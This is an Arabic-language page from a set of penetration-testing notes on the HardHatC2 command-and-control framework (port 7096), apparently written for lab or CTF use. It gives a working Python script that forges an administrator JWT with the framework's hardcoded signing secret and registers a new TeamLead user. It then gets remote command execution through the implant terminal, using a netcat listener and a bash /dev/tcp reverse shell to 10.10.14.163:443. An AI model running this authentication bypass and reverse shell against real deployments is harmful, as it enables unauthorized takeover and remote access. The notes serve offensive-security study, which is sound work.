> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/hardhatc2-7096.md).

# HardHatC2 - 7096

{% hint style="info" %}
HardHatC2 هو إطار عمل متعدد المستخدمين للأوامر والتحكم (C2) مبني على C# و.NET، ومصمم لعمليات الفريق الأحمر واختبار الاختراق. يتضمن خادم فريق ASP.NET، وعميل Blazor .NET، وعمليات زرع C# مدمجة، مع دعم لعمليات الزرع التابعة لجهات خارجية بلغات أخرى.
{% endhint %}

<figure><img src="/files/8f8acbd6c9abd4255562b0eed589a7d5824d3aa9" alt=""><figcaption></figcaption></figure>

## **تجاوز مصادقة HardHat C2**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

استخدم النص البرمجي التالي لتجاوز المصادقة وإنشاء مستخدم جديد:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# إنشاء JWT للمسؤول  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("تم إنشاء JWT:")  
print(token)  
  
# استخدم JWT الخاص بالمسؤول لإنشاء مستخدم جديد 'sth_pentest' بصفته TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

يُنشئ النص البرمجي `jordan` المستخدم مع `TeamLead` الدور.

<figure><img src="/files/1d392db440902149ed720804fec977d841582546" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/baf428e0df57f75be40de016f5c6f8dcce03af74" alt=""><figcaption></figcaption></figure>

## تنفيذ أوامر عن بُعد في HardHat C2

في `إمبلانت إنتراكت` القسم، يتوفر وصول إلى الطرفية. أثناء تشغيل `whoami` يُظهر أن المستخدم الحالي هو `sergej`.

<figure><img src="/files/12ded6188b0d6068d8683896444e235201bc7625" alt=""><figcaption></figcaption></figure>

أنشئ غلافًا عكسيًا باسم `sergej` أثناء الاستماع على المنفذ 443:

```bash
nc -nlvp 443
```

شغّل الأمر التالي لبدء الاتصال العكسي:

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

<figure><img src="/files/e520592bb738bfc7858154e8fd862281ecfd1d54" alt="" width="563"><figcaption></figcaption></figure>


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